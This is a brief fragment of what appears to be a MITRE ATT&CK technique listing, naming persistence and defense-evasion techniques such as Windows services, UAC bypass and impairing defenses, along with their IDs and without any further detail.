Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry